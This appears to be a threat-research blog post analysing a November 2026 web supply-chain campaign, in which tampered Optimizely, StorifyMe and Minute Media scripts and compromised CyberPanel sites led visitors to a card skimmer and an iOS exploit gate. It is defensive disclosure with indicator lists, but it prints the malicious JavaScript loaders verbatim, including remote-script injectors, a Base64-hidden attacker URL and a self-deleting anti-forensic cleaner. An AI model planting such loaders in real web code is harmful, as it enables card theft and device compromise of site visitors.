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Optimizely and Beyond: The Multi-SaaS Supply Chain Blitz

·b4c2 Research·12 min read
#Supply Chain#Optimizely#Magecart#WebKit#CyberPanel

Optimizely and Beyond: The Multi-SaaS Supply Chain Blitz cover image

Executive Summary

Between November 12 and November 16, 2026, web security telemetry across the globe lit up with alarms: over a hundred high-profile media, enterprise SaaS, airline, and governmental domains (including the BBC, Zoom, Salesforce, GitLab, Fox Sports, Frankfurter Allgemeine Zeitung (FAZ), and the Sydney Morning Herald) were observed making anomalous outbound connections to unfamiliar infrastructure: 1688360[.]cc, webshell[.]lol, and 5vobauua3ojpklx[.]icu.

Early community intelligence and threat reports attributed the entire outbreak to a single incident: an enterprise supply-chain breach affecting Optimizely Web Experimentation (tracked under CVE-2026-132224). Because the downstream traffic converged on the same endpoints, researchers assumed every affected domain had been compromised via Optimizely’s tag delivery pipeline.

  1. A Triple-SaaS Supply-Chain Blitz: The adversary did not breach Optimizely alone. Within a 96-hour window, the threat actors simultaneously executed supply-chain incursions against at least three distinct enterprise SaaS vendors:
    • Optimizely Web Experimentation (cdn.optimizely.com): Injecting 1688360[.]cc/track.js across 38+ Fortune 500 portals.
    • StorifyMe Web Stories Platform (cdn.storifyme.com & c77.cdn.storifyme.com): Appending Base64 stagers across tier-1 European and Australian news outlets.
    • Minute Media APV Video Platform (apv-static.minute-ly.com): Overwriting official CDN video player loaders with 561-byte anti-forensic self-scrubbing droppers across major sports networks like Fox Sports.
  2. Parallel Hosting Infrastructure Exploitation: Simultaneously, over 54 small business, academic, and hosting-staging sites were compromised directly via mass CyberPanel / LiteSpeed RCE vulnerabilities, planting static webshell[.]lol tags into web templates.
  3. The Bifurcated Endgame: Every disparate vector, whether an enterprise A/B testing tag, social widget, video player, or compromised web server, funneled traffic into a unified operational funnel:
    • Desktop Visitors: Subjected to an in-memory Luhn-validated credit card skimmer exfiltrating encrypted payment PANs to card.php.
    • Mobile iOS Visitors: Fingerprinted and redirected into a weaponized 0-day watering hole (5vobauua3ojpklx[.]icu/boot.js) deploying the DarkSword / Hermes iOS WebKit exploit chain against Apple devices running iOS <= 18.6.

Supply-Chain Incursion 1: Optimizely Web Experimentation

Compromised Asset & Architecture

  • Infected Asset: hxxps://cdn.optimizely[.]com/js/<project_id>.js
  • Infrastructure: CloudFront Edge Distribution (AmazonS3 origin)
  • Normal Function: Enterprise client-side A/B testing and feature flagging engine, serving millions of active sessions across Fortune 500 digital portals.

How the Infection Occurred

Optimizely bundles allow administrators to supply arbitrary client-side JavaScript, referred to as projectJS, that runs unconditionally across all web pages where the Optimizely container tag is embedded. The threat actors gained unauthorized access to target enterprise customer containers and modified the projectJS configuration (tracked in incident disclosures as CVE-2026-132224).

How the Loader Works

The threat actor appended an asynchronous script injection block directly into the minified projectJS bundle:

(function () {
  try {
    var s = document.createElement('script');
    s.src = 'https://1688360.cc/track.js';
    s.async = true;
    (document.head || document.documentElement).appendChild(s);
  } catch (e) {}
})();

Detailed Execution Mechanics

  1. CSP Bypass: Because websites allowlist cdn.optimizely.com in their Content Security Policy (CSP), the initial bundle loads with high trust. The script executes within the first-party DOM origin.
  2. Dynamic Script Tag Injection: The loader constructs a clean <script> node with async = true and injects it into <head>.
  3. Dual-Headed Payload Handshake: Once loaded, 1688360[.]cc/track.js inspects the client environment:
    • Desktop Engine: Intercepts payment form fields and dynamically monkey-patches window.fetch and XMLHttpRequest to capture credit card numbers, validating them locally with a Luhn checksum before posting to hxxps://1688360[.]cc/card.php.
    • Mobile Gate Engine: If the client is detected as an iOS or Android device, the script halts card harvesting and immediately creates a secondary child <script> pointing to the exploit gate: hxxps://5vobauua3ojpklx[.]icu/boot.js.

Forensic Evidence

urlscan network request showing 1688360.cc/track.js initiated by cdn.optimizely.com

  • Initiator Stack: cdn.optimizely.com/js/5113954737848320.js:1:342
  • Scope: 38+ major enterprise portals including Zoom, Salesforce, BBC, American Eagle, Smartsheet, and change[.]org.

Supply-Chain Incursion 2: StorifyMe Stories Widget Platform

Compromised Asset & Architecture

  • Infected Assets:
    • Stage-1 Loader: hxxps://cdn.storifyme[.]com/static/web-components/storifyme-elements.min.js
    • Stage-2 Web Component Bundle: hxxps://c77.cdn.storifyme[.]com/static/web-components/storifyme-elements-v2.min.js?v=5ed514b258
  • Infrastructure: BunnyCDN / CloudFront Edge (x-77-cache, S3 origin)
  • Normal Function: Embedded “Instagram-style” web stories and interactive social widgets for digital publishing, e-commerce, and university portals.

How the Infection Occurred

Rather than compromising individual end-user customer accounts, the adversary tampered with the core production JavaScript libraries directly on StorifyMe’s CDN origin. Every publisher embedding StorifyMe’s standard web-component snippet automatically served the tampered code to all site visitors.

How the Loader Works

The threat actors used a multi-layered loading mechanism across both the top-level loader and the child web-component script:

// Legitimate StorifyMe tenant routing:
!(function () {
  var t = document.createElement('script');
  ((t.type = 'text/javascript'),
    (t.async = !0),
    (t.defer = !0),
    (t.src =
      'https://c77.cdn.storifyme.com/static/web-components/storifyme-elements-v2.min.js?v=5ed514b258'));
  var e = ['www.tcs.com'];
  for (let n = 0; e.length > n; n++)
    if (0 === window.location.host.indexOf(e[n])) {
      t.src = t.src.replace('https://c77.cdn.storifyme.com', 'https://cdn.storifyme.com');
      break;
    }
  try {
    document.head.appendChild(t);
  } catch (c) {
    document.body.prepend(t);
  }
})();

// Tampered Injected Stager:
window.__SM_GLOBAL = 'oc-1794597958230';
(function () {
  try {
    if (window.__SM_GLOBAL_LOADED) return;
    window.__SM_GLOBAL_LOADED = 1;
    var s = document.createElement('script');
    var u = atob('aHR0cHM6Ly93ZWJzaGVsbC5sb2wvZ2V0Lmpz') + '?sm=' + Date.now();
    s.src = u;
    s.async = true;
    s.onerror = function () {
      window.__SM_GLOBAL_LOADED = 'err';
    };
    document.head.appendChild(s);
  } catch (e) {}
})();

Detailed Execution Mechanics

  1. Appendage to Legitimate Script: The loader was appended directly after StorifyMe’s genuine domain routing logic (which handles an exception swapping c77.cdn.storifyme.com to cdn.storifyme.com for customer www.tcs.com).
  2. Singleton Mutex (window.__SM_GLOBAL_LOADED): The IIFE checks if window.__SM_GLOBAL_LOADED is set. If already loaded, it terminates immediately; otherwise, it sets the flag to 1. This prevents redundant script injections if the host site initializes multiple widget elements.
  3. Base64 String Obfuscation: The C2 URL was Base64 encoded: atob("aHR0cHM6Ly93ZWJzaGVsbC5sb2wvZ2V0Lmpz") -> hxxps://webshell[.]lol/get.js
  4. Dynamic Cache-Busting & Vendor Telemetry: The loader appends "?sm=" + Date.now(). The sm= parameter served as a campaign identifier informing the C2 that the lead was generated from the StorifyMe supply chain.
  5. Stage-2 Component Backdoor (updateWidgetJS): In the child bundle storifyme-elements-v2.min.js, the actor placed an additional redundant dropper inside the updateWidgetJS() method at column 152680. When a story widget renders, it initiates: hxxps://webshell[.]lol/get.js?paid=<account_timestamp> This ensured that even if the top-level loader failed, widget interactions would still trigger the payload.

Forensic Evidence

urlscan network request showing webshell.lol/get.js?sm= initiated by cdn.storifyme.com


Supply-Chain Incursion 3: Minute Media APV Video Platform

Compromised Asset & Architecture

  • Infected Asset: hxxps://apv-static.minute-ly[.]com/resources/v2/loader.js?v=3
  • Parent Initiator: hxxps://apv-launcher.minute-ly[.]com/api/launcher/MIN-50100.js
  • Infrastructure: Fastly CDN / Amazon S3 (x-ioriver: Fastly, Server: AmazonS3)
  • Normal Function: Minute Media’s Automated Powered Video (APV) video player delivery network, which dynamically serves contextual video highlights on premier sports publishing networks.

How the Infection Occurred

The adversary achieved write access to Minute Media’s S3/Fastly bucket storage and executed a complete asset replacement. Rather than appending malicious functions into the legitimate video player loader (normally a complex file over 100KB), the entire file was overwritten with a tiny, standalone 561-byte payload.

How the Loader Works

The decompressed 561-byte script operates as a dedicated staging dropper coupled with an aggressive anti-forensic DOM scrubber:

(function () {
  try {
    var d = document;
    function clean() {
      try {
        var q = d.querySelectorAll(
          'script[src*="webshell.lol"],script[src*="5vobauua3ojpklx.icu"],script[src*="loader.js"]',
        );
        for (var i = 0; i !== q.length; i++) {
          if (q[i].parentNode) q[i].parentNode.removeChild(q[i]);
        }
      } catch (e) {}
    }
    var s = d.createElement('script');
    s.src = 'https://webshell.lol/get.js';
    s.async = true;
    (d.head || d.documentElement).appendChild(s);
    setTimeout(clean, 3000);
  } catch (e) {}
})();

Detailed Execution Mechanics

  1. Immediate Execution & Asynchronous Spawn: The anonymous self-executing function immediately instantiates a new <script> element pointing to hxxps://webshell[.]lol/get.js, setting async = true and mounting it to the DOM.
  2. Ephemeral Anti-Forensic Cleaner (clean): The script defines a clean() helper that queries the DOM for all script tags matching:
    • Any script referencing webshell.lol
    • Any script referencing the downstream mobile gate 5vobauua3ojpklx.icu
    • The Minute Media loader itself (loader.js)
  3. Timed Self-Destruction (setTimeout(clean, 3000)): After exactly 3,000 milliseconds (giving the browser enough time to complete the script fetch and initiate execution in memory), clean() removes all matching DOM nodes via removeChild().
  4. Evading Detection Scanners: Because automated security crawlers and human analysts typically inspect the DOM after full page render (5-10 seconds), the malicious elements have already been pruned from the HTML tree. Only deep packet capture or network initiator call stacks recorded by headless browsers retain the evidence.

Forensic Evidence

  • File Size: Precisely 561 bytes uncompressed (270 bytes gzipped)
  • SHA-256: 0f2f2a27d19112e5800541daecc91eb6c77e49f9b43ed23c890b876631978533
  • ETag: "8694ee577bc73c04531e4a8bb69e3153"
  • Target Example: foxsports[.]com
  • Verification Scan: 01a1e6ad-304d-725c-9980-55520404bb09

urlscan network request showing webshell.lol/get.js initiated by apv-static.minute-ly.com/resources/v2/loader.js


The Universal Pivot Bridge: webshell[.]lol/get.js

While Optimizely delivered 1688360[.]cc/track.js, the other two supply chains (StorifyMe and Minute Media) and all 54+ compromised hosting servers converged on hxxps://webshell[.]lol/get.js.

How the webshell.lol Loader Works

Forensic analysis of the get.js payload (scanned and decompiled from threat infrastructure) revealed its singular purpose: to serve as an in-memory transport vehicle delivering the mobile exploit gate:

(function () {
  try {
    var d = document;
    var s = d.createElement('script');
    s.src = 'https://5vobauua3ojpklx.icu/boot.js';
    s.setAttribute('data-channel-code', '02111110');
    s.async = true;
    (d.head || d.documentElement).appendChild(s);
  } catch (e) {}
})();
  • Channel Segmentation (data-channel-code="02111110"): The loader assigns an affiliate/campaign tracking code to distinguish incoming victims by distribution pipeline.
  • Single-Purpose Ingress Bridge: get.js performs no native skimming or local exploitation; it is an agile proxy layer allowing the threat actor to rotate downstream exploit servers (5vobauua3ojpklx[.]icu) without re-tampering with upstream CDN caches.

The Mass Compromised Hosting Cluster (CyberPanel Web Shells)

Beyond the 3 SaaS vendors, over 54 smaller websites in the campaign telemetry exhibited no third-party SaaS tags whatsoever.

Analysis of servers like bdb-biuro.org[.]pl, facingturtle[.]com, and animalexpert[.]org confirmed that they ran CyberPanel-OLS/2.5.1 (OpenLiteSpeed). The threat actors leveraged automated unauthenticated RCE exploits to write directly into PHP templates on the webroot, injecting:

<script src="https://webshell.lol/get.js" async=""></script>

Compromised CyberPanel site HTML source showing injected webshell.lol/get.js script tag

This served as a volume multiplier, expanding infection telemetry across hundreds of unrelated web domains.


Downstream Payloads: Skimmer vs. WebKit 0-Day

1. Desktop Branch: Luhn Credit Card Exfiltration (card.php)

When evaluated on desktop operating systems (Windows, macOS, Linux), 1688360[.]cc/track.js executes an in-memory credit card skimmer:

  • Monkey-Patching: Overrides window.fetch and XMLHttpRequest.prototype.send.
  • Validation: Runs a client-side Luhn checksum algorithm over all form inputs matching standard payment card patterns (13-19 digits).
  • Exfiltration Sink: Batches captured PANs, CVVs, and expiration dates, encrypts the payload, and dispatches it via HTTP POST to hxxps://1688360[.]cc/card.php.

2. Mobile Branch: DarkSword / Hermes iOS WebKit 0-Day

When visitors browse from an Apple mobile device (iPhone/iPad), the flow diverts. Both track.js and webshell[.]lol/get.js spawn the mobile gate:

hxxps://5vobauua3ojpklx[.]icu/boot.js (Channel Code: 02111110)

The boot.js script profiles device hardware:

  • Verifies navigator.userAgent for Mobile Safari.
  • Evaluates WebGL renderer strings and screen resolution.
  • Confirms iOS version <= 18.6.

Target devices that meet qualification criteria are served an encrypted WebKit memory-corruption exploit designed to escape the Safari renderer sandbox. The exploit targets mobile cryptocurrency wallets and session credentials, establishing persistence via an in-memory Mach-O payload.


Comprehensive Threat Indicators (IOCs) & Adversary Infrastructure Recap

For threat hunting, perimeter blocklists, and SIEM correlation, below is the comprehensive inventory of verified adversary infrastructure associated with this campaign cluster. All indicators have been defanged.

1. Mobile Exploitation & Exploit Gate Infrastructure (.icu)

These domains hosted the boot.js fingerprinting gate and delivered the DarkSword / Hermes iOS WebKit exploit chain:

  • 5vobauua3ojpklx[.]icu (Primary Mobile Gate & Exploit Distributor)
  • 1y69gy2mdzaltz1[.]icu
  • 6xicduvopkxpyev[.]icu
  • eil786npto9u5bq[.]icu
  • gm38duxoihbmy5o[.]icu
  • hrufvf7xb3ntctm[.]icu
  • id9cgqfhfefmi9s[.]icu
  • ios-hack[.]icu
  • je4ft3gn8vxudum[.]icu
  • l7bcsnwc7nzr3uo[.]icu
  • p55abnw2pnsz0bo[.]icu
  • q1ls1ho9x7wsxlu[.]icu
  • ryf3e5p7rf8slv8[.]icu
  • sl6zirn8wu7kggn[.]icu
  • so23nhowskohk67[.]icu

2. Supply-Chain Staging & Credit Card Skimmer Sinks (.cc)

These numeric 7-8 digit .cc domains hosted track.js stagers and served as exfiltration receivers for Luhn-validated payment card data (card.php):

  • 1688360[.]cc (Primary Injected Stager & Skimmer Receiver)
  • 0836951[.]cc
  • 17612286[.]cc
  • 26853832[.]cc
  • 27687386[.]cc
  • 28899383[.]cc
  • 3601688[.]cc
  • 38265737[.]cc
  • 52178327[.]cc
  • 55331368[.]cc
  • 56135862[.]cc
  • 59525997[.]cc
  • 68365331[.]cc
  • 81851277[.]cc
  • 87219337[.]cc
  • 88657188[.]cc
  • 89288335[.]cc

3. Universal Pivot Infrastructure

  • webshell[.]lol (Universal Stager Bridge)
  • hxxps://webshell[.]lol/get.js
  • hxxps://webshell[.]lol/get.js?sm=<timestamp>
  • hxxps://webshell[.]lol/get.js?paid=<account_id>

4. Tampered CDN Assets & Hashes

  • Minute Media Video Loader: hxxps://apv-static.minute-ly[.]com/resources/v2/loader.js?v=3
    • SHA-256: 0f2f2a27d19112e5800541daecc91eb6c77e49f9b43ed23c890b876631978533
    • ETag: "8694ee577bc73c04531e4a8bb69e3153"
    • Size: 561 bytes uncompressed (270 bytes gzipped)
  • StorifyMe Web Components Loader: hxxps://cdn.storifyme[.]com/static/web-components/storifyme-elements.min.js
  • StorifyMe Web Components V2: hxxps://c77.cdn.storifyme[.]com/static/web-components/storifyme-elements-v2.min.js?v=5ed514b258
    • ETag: W/"5ed514b25881730917d0b7752e5276ab"

Appendix: Verified Impacted Domains Inventory

Below is the inventory of confirmed domains observed communicating with adversary staging or exploit infrastructure (1688360[.]cc, webshell[.]lol, or 5vobauua3ojpklx[.]icu) across this campaign cluster:

Domain Domain Domain
adcs[.]ch ae[.]com airfrance[.]it
alfamill[.]com alfamill[.]com[.]tr americangirl[.]com
animalexpert[.]org arztinsurgical[.]com bdb-biuro[.]org[.]pl
bestaambalaj[.]com bigmittenmgt[.]managebuilding[.]com billoogame[.]xyz
brownsugarohio[.]com buzzstream[.]com cagrashop[.]com
change[.]org chicagoitsupport[.]com countryarcherwholesale[.]com
ctvnews[.]ca d9[.]worldwatercouncil[.]org ddec1-0-en-ctp[.]trendmicro[.]com
de[.]smartsheet[.]com de[.]vidaxl[.]ch dijerkstop1[.]com
draweressentials[.]com duan-vinhomesdonganh[.]com enerjimagazin[.]com
eosspartners[.]com equifax[.]ca facingturtle[.]com
farmasiehsan[.]com[.]my faz[.]net fluke[.]com
form[.]healthinsurancecomparison[.]com[.]au foxsports[.]com giftcardtomoney[.]com
googleworkspace[.]tscloud[.]co[.]jp hdhun4u[.]net healthinsurancecomparison[.]com[.]au
heilpraktiker-rastede[.]de hootsuite[.]com hsbc[.]com[.]sg
hydropac[.]webforsolution[.]com ig[.]com insurance[.]hsbc[.]com[.]sg
jasmin[.]rs justrussel[.]com kitchensdirect[.]co[.]uk
kuvetyapi[.]com llc[.]edu[.]pk loftliving[.]com
managebuilding[.]com marketplace[.]nazmul[.]xyz mekanggroup[.]com
mutualofomaha[.]com myaiotestingwebs[.]com mybluehost[.]me
nazmul[.]xyz nesscode[.]com optimizely[.]com
ospreycoveapartments[.]loftliving[.]com pgw[.]syslicense[.]net planos[.]pe
raindropsleathercraft[.]com rdbs[.]ca s16[.]varors[.]com
salesforce[.]com scheels[.]com securitybank[.]com
smartsheet[.]com smh[.]com[.]au soshaview[.]co[.]za
stacksocial[.]com stamps[.]com suprfit[.]com
syslicense[.]net thecheneyplace[.]com thistleinsurance[.]co[.]uk
trendmicro[.]com tricentis[.]com trustedinfosolutions[.]com
trustwellbank[.]com tscloud[.]co[.]jp tsn[.]ca
tyy[.]cew[.]mybluehost[.]me unibas[.]ch unicefusa[.]org
united-apparel[.]uk urfalihacibeybaklavalari[.]com[.]tr varenyagalleria[.]com
varors[.]com vidaxl[.]ch vidaxl[.]co[.]uk
vidaxl[.]nl vidaxl[.]ro vikashyadav[.]online
viningcamerer[.]co[.]za virginmediao2[.]co[.]uk warmlover[.]com
webforsolution[.]com wholesale[.]farmasiehsan[.]com[.]my worldwatercouncil[.]org
ww4[.]animalexpert[.]org wwws[.]airfrance[.]it zoom[.]com